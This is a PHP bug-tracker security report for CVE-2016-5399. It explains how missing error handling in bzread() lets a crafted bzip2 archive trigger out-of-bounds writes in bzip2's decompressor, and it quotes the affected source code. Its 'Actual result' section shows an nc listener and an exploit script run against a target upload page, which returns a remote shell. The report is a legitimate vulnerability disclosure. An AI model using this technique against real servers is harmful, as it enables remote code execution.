Inadequate error handling in bzread()
| Sec Bug #72613 | Inadequate error handling in bzread() | ||||
|---|---|---|---|---|---|
| Submitted: | 2016-07-18 03:43 UTC | Modified: | 2016-07-24 07:53 UTC | ||
| From: | hji at dyntopia dot com | Assigned: | stas (profile) | ||
| Status: | Closed | Package: | Bzip2 Related | ||
| PHP Version: | 5.5.37 | OS: | |||
| Private report: | No | CVE-ID: | 2016-5399 | ||
[2016-07-18 03:43 UTC] hji at dyntopia dot com
Description:
------------
PHP 7.0.8, 5.6.23 and 5.5.37 does not perform adequate error handling in
its `bzread()' function:
php-7.0.8/ext/bz2/bz2.c
,----
| 364 static PHP_FUNCTION(bzread)
| 365 {
| ...
| 382 ZSTR_LEN(data) = php_stream_read(stream, ZSTR_VAL(data), ZSTR_LEN(data));
| 383 ZSTR_VAL(data)[ZSTR_LEN(data)] = '\0';
| 384
| 385 RETURN_NEW_STR(data);
| 386 }
`----
php-7.0.8/ext/bz2/bz2.c
,----
| 210 php_stream_ops php_stream_bz2io_ops = {
| 211 php_bz2iop_write, php_bz2iop_read,
| 212 php_bz2iop_close, php_bz2iop_flush,
| 213 "BZip2",
| 214 NULL, /* seek */
| 215 NULL, /* cast */
| 216 NULL, /* stat */
| 217 NULL /* set_option */
| 218 };
`----
php-7.0.8/ext/bz2/bz2.c
,----
| 136 /* {{{ BZip2 stream implementation */
| 137
| 138 static size_t php_bz2iop_read(php_stream *stream, char *buf, size_t count)
| 139 {
| 140 struct php_bz2_stream_data_t *self = (struct php_bz2_stream_data_t *)stream->abstract;
| 141 size_t ret = 0;
| 142
| 143 do {
| 144 int just_read;
| ...
| 148 just_read = BZ2_bzread(self->bz_file, buf, to_read);
| 149
| 150 if (just_read < 1) {
| 151 stream->eof = 0 == just_read;
| 152 break;
| 153 }
| 154
| 155 ret += just_read;
| 156 } while (ret < count);
| 157
| 158 return ret;
| 159 }
`----
The erroneous return values for Bzip2 are as follows:
bzip2-1.0.6/bzlib.h
,----
| 038 #define BZ_SEQUENCE_ERROR (-1)
| 039 #define BZ_PARAM_ERROR (-2)
| 040 #define BZ_MEM_ERROR (-3)
| 041 #define BZ_DATA_ERROR (-4)
| 042 #define BZ_DATA_ERROR_MAGIC (-5)
| 043 #define BZ_IO_ERROR (-6)
| 044 #define BZ_UNEXPECTED_EOF (-7)
| 045 #define BZ_OUTBUFF_FULL (-8)
| 046 #define BZ_CONFIG_ERROR (-9)
`----
Should the invocation of BZ2_bzread() fail, the loop would simply be
broken out of (bz2.c:152) and execution would continue with bzread()
returning RETURN_NEW_STR(data).
According to the manual[1], bzread() returns FALSE on error; however
that does not seem to ever happen.
Due to the way that the bzip2 library deals with state, this could
result in an exploitable condition if a user were to call bzread() after
an error, eg:
,----
| $data = "";
| while (!feof($fp)) {
| $res = bzread($fp);
| if ($res === FALSE) {
| exit("ERROR: bzread()");
| }
| $data .= $res;
| }
`----
Exploitation
============
One way the lack of error-checking could be abused is through
out-of-bound writes that may occur when `BZ2_decompress()' (BZ2_bzread()
-> BZ2_bzRead() -> BZ2_bzDecompress() -> BZ2_decompress()) processes the
`pos' array using user-controlled selectors as indices:
bzip2-1.0.6/decompress.c
,----
| 106 Int32 BZ2_decompress ( DState* s )
| 107 {
| 108 UChar uc;
| 109 Int32 retVal;
| ...
| 113 /* stuff that needs to be saved/restored */
| 114 Int32 i;
| 115 Int32 j;
| ...
| 118 Int32 nGroups;
| 119 Int32 nSelectors;
| ...
| 167 /*restore from the save area*/
| 168 i = s->save_i;
| 169 j = s->save_j;
| ...
| 172 nGroups = s->save_nGroups;
| 173 nSelectors = s->save_nSelectors;
| ...
| 195 switch (s->state) {
| ...
| 286 /*--- Now the selectors ---*/
| 287 GET_BITS(BZ_X_SELECTOR_1, nGroups, 3);
| 288 if (nGroups < 2 || nGroups > 6) RETURN(BZ_DATA_ERROR);
| 289 GET_BITS(BZ_X_SELECTOR_2, nSelectors, 15);
| 290 if (nSelectors < 1) RETURN(BZ_DATA_ERROR);
| 291 for (i = 0; i < nSelectors; i++) {
| 292 j = 0;
| 293 while (True) {
| 294 GET_BIT(BZ_X_SELECTOR_3, uc);
| 295 if (uc == 0) break;
| 296 j++;
| 297 if (j >= nGroups) RETURN(BZ_DATA_ERROR);
| 298 }
| 299 s->selectorMtf[i] = j;
| 300 }
| 301
| 302 /*--- Undo the MTF values for the selectors. ---*/
| 303 {
| 304 UChar pos[BZ_N_GROUPS], tmp, v;
| 305 for (v = 0; v < nGroups; v++) pos[v] = v;
| 306
| 307 for (i = 0; i < nSelectors; i++) {
| 308 v = s->selectorMtf[i];
| 309 tmp = pos[v];
| 310 while (v > 0) { pos[v] = pos[v-1]; v--; }
| 311 pos[0] = tmp;
| 312 s->selector[i] = tmp;
| 313 }
| 314 }
| 315
| ...
| 613 save_state_and_return:
| 614
| 615 s->save_i = i;
| 616 s->save_j = j;
| ...
| 619 s->save_nGroups = nGroups;
| 620 s->save_nSelectors = nSelectors;
| ...
| 640 return retVal;
| 641 }
`----
bzip2-1.0.6/decompress.c
,----
| 070 #define GET_BIT(lll,uuu) \
| 071 GET_BITS(lll,uuu,1)
`----
bzip2-1.0.6/decompress.c
,----
| 043 #define GET_BITS(lll,vvv,nnn) \
| 044 case lll: s->state = lll; \
| 045 while (True) { \
| ...
| 065 }
`----
If j >= nGroups (decompress.c:297), BZ2_decompress() would save its
state and return BZ_DATA_ERROR. If the caller don't act on the
erroneous retval, but rather invokes BZ2_decompress() again, the saved
state would be restored (including `i' and `j') and the switch statement
would transfer execution to the BZ_X_SELECTOR_3 case -- ie. the
preceding initialization of `i = 0' and `j = 0' would not be executed.
In pseudocode it could be read as something like:
,----
| i = s->save_i;
| j = s->save_j;
|
| switch (s->state) {
| case BZ_X_SELECTOR_2:
| s->state = BZ_X_SELECTOR_2;
|
| nSelectors = get_15_bits...
|
| for (i = 0; i < nSelectors; i++) {
| j = 0;
| while (True) {
| goto iter;
| case BZ_X_SELECTOR_3:
| iter:
| s->state = BZ_X_SELECTOR_3;
|
| uc = get_1_bit...
|
| if (uc == 0) goto done;
| j++;
| if (j >= nGroups) {
| retVal = BZ_DATA_ERROR;
| goto save_state_and_return;
| }
| goto iter;
| done:
| s->selectorMtf[i] = j;
`----
An example selector with nGroup=6:
,----
| 11111111111110
| ||||| `|||||| `- goto done; s->selectorMtf[i] = 13;
| `ยด j++;
| j++; goto save_state_and_return;
| goto iter;
`----
Since the selectors are used as indices to `pos' in the subsequent loop,
an `nSelectors' amount of <= 255 - BZ_N_GROUPS bytes out-of-bound writes
may occur if BZ2_decompress() is invoked in spite of a previous error.
bzip2-1.0.6/decompress.c
,----
| 304 UChar pos[BZ_N_GROUPS], tmp, v;
| 305 for (v = 0; v < nGroups; v++) pos[v] = v;
| 306
| 307 for (i = 0; i < nSelectors; i++) {
| 308 v = s->selectorMtf[i];
| 309 tmp = pos[v];
| 310 while (v > 0) { pos[v] = pos[v-1]; v--; }
| 311 pos[0] = tmp;
| 312 s->selector[i] = tmp;
| 313 }
`----
bzip2-1.0.6/bzlib_private.h
,----
| 121 #define BZ_N_GROUPS 6
`----
[1] [https://secure.php.net/manual/en/function.bzread.php]
Test script:
---------------
upload.php: https://gist.github.com/dyntopia/e52eaa0b10aec1a2a600558413474325
CVE-2016-5399.py: https://gist.github.com/dyntopia/d01e63246a31a54300742c0ad044ee07
Actual result:
--------------
Against FreeBSD 10.3 amd64 with php-fpm 7.0.8 and nginx from the
official repo:
,----
| $ nc -v -l 1.2.3.4 5555 &
| Listening on [1.2.3.4] (family 0, port 5555)
|
| $ python exploit.py --ip 1.2.3.4 --port 5555 http://target/upload.php
| [*] sending archive to http://target/upload.php (0)
|
| Connection from [target] port 5555 [tcp/*] accepted (family 2, sport 49479)
| $ fg
| id
| uid=80(www) gid=80(www) groups=80(www)
|
| uname -imrsU
| FreeBSD 10.3-RELEASE-p4 amd64 GENERIC 1003000
|
| /usr/sbin/pkg query -g "=> %n-%v" php*
| => php70-7.0.8
| => php70-bz2-7.0.8
`----
This issue has been assigned CVE-2016-5399.
-- Hans Jerry Illikainen
Patches
Pull Requests
History
AllCommentsChangesGit/SVN commits
[2016-07-19 04:58 UTC] stas@php.net
[2016-07-19 05:27 UTC] stas@php.net
-PHP Version: 7.0.8 +PHP Version: 5.5.37
[2016-07-19 05:27 UTC] stas@php.net
[2016-07-19 06:04 UTC] stas@php.net
-Assigned To: +Assigned To: stas
[2016-07-19 06:04 UTC] stas@php.net
[2016-07-19 07:54 UTC] stas@php.net
-Status: Assigned +Status: Closed
[2016-07-19 07:54 UTC] stas@php.net
[2016-07-19 15:03 UTC] hji at dyntopia dot com
[2016-07-19 16:23 UTC] stas@php.net
[2016-08-02 10:09 UTC] huzaifas@php.net